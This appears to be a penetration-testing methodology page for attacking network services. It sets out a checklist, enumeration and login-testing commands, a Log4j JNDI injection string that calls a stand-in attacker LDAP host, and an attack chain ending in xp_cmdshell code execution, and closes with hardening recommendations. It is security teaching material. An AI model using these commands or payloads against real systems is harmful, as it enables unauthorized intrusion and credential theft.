🛡️ Methodology Checklist
- Identify service: name, version, OS context
- CVE search: searchsploit + NVD for exact version
- Test anonymous/null authentication
- Try default credentials
- Attempt brute-force (check lockout policy first)
- Test for known exploits (check version match carefully)
- Capture credentials/hashes from service interaction
- Document service banner, creds, and exploitation path
🎯 Operational Context
Use when: Starting attack on any discovered service — structured approach to service exploitation: banner → creds → version → config → CVE. Think Dumber First: Step 1 = banner grab. Step 2 = default/anonymous creds. Step 3 = version CVE check. Step 4 = config misconfigs. Step 5 = credential brute. In that order, every service, every time. Default creds are free — always try first. Skip when: N/A — methodology reference document.
⚡ Tactical Cheatsheet
| Command | Tactical Outcome |
|---|---|
nc -nv [TARGET_IP] [PORT] | Banner grab — identify service version |
nmap -sV -sC -p [PORT] [TARGET_IP] | Service scan with default scripts |
ftp [TARGET_IP] → anonymous / blank | Test FTP anonymous login |
smbclient -N -L //[TARGET_IP] | Test SMB null session |
netexec smb [TARGET_IP] -u '' -p '' --shares | Enumerate SMB shares without credentials |
mysql -u root -p -h [TARGET_IP] | Test MySQL with no/default password |
🔬 Deep Dive & Workflow
The Four-Component Attack Framework
Every vulnerability exploitation follows the same cycle regardless of the service:
| Phase | Question | Examples |
|---|---|---|
| Source | Where does the input come from? | User form, HTTP header, config file, API call |
| Process | How is it handled? | Function with logic flaw, parser, logging, deserializer |
| Privileges | What rights does the handler have? | SYSTEM, root, service account, unprivileged user |
| Destination | Where does execution go? | Local file write, network callback, shell |
Log4j (CVE-2021-44228) mapped:
- Source:
${jndi:ldap://evil.xa/x}injected in User-Agent header - Process: Log4j logs the header, interprets it as a JNDI command
- Privileges: Logging service runs with high privileges
- Destination: LDAP lookup connects to attacker → downloads and executes malicious Java class
Common Misconfiguration Classes
| Type | Examples | Check |
|---|---|---|
| Default credentials | admin:admin, admin:password, root:12345678 | Google [service] default credentials |
| Anonymous access | FTP anonymous, SMB null session, LDAP anon bind | Connect with anonymous or blank creds |
| Excessive permissions | Upload user can read entire root | Check what you can access after login |
| Unnecessary features | Tomcat manager, debug pages, directory listing | Look for /manager, /admin, /debug |
Service Attack Checklist
For any new service encountered:
- Banner grab → identify vendor and version
- Google
[service] [version] default credentials - Test anonymous / null / blank auth
- If logged in: enumerate everything visible (
ls -R,dir /s,SHOW DATABASES) - Check write permissions → path to RCE
- Look for PII, credentials, private keys in accessible content
The Domino Effect (Attack Chain Example)
Anonymous FTP → empty file named "johnsmith" (username discovered)
→ Try johnsmith against email service → login succeeds (weak/no password)
→ Search email for "password" → find MSSQL credentials in inbox
→ Login to MSSQL → enable xp_cmdshell → RCE on DB server
Everything is a clue. Document filenames, authors, email addresses, internal IPs — context builds laterally.
🛠️ Troubleshooting & Edge Cases
| Problem | Cause | Fix |
|---|---|---|
| Service unknown after banner grab | No banner or non-standard banner | Try protocol-specific probes: nmap -sV --version-intensity 9 -p [PORT] [TARGET] |
| Default creds list too long | Too many combinations to try | Start with service-specific top-10; SecLists has per-service default cred files |
| Version identified but no CVE found | Check multiple sources | Try: NVD, ExploitDB, GitHub CVE-[YEAR]-[NUM], VulhHub, Rapid7 Metasploit modules |
| CVE confirmed but no exploit available | Research/private exploit | Check: PoC-in-GitHub project, packet storm, full-disclosure mailing list archives |
| Service responds differently on retry | Load balancer or cluster | Different backend nodes may have different versions — scan multiple times from different source IPs |
📝 Reporting Trigger
Finding Title: Systematic Service Attack Methodology Applied — Multiple Vulnerabilities Found Impact: Structured service exploitation methodology identifies default credentials, configuration weaknesses, and CVEs across all exposed services, demonstrating that the attack surface was not systematically audited. Root Cause: No documented service hardening standard applied consistently across the environment. Services deployed with default configurations without security review. Recommendation: Implement a service hardening standard (CIS Benchmarks). Enforce change management requiring security review before service deployment. Conduct quarterly service configuration audits against baseline.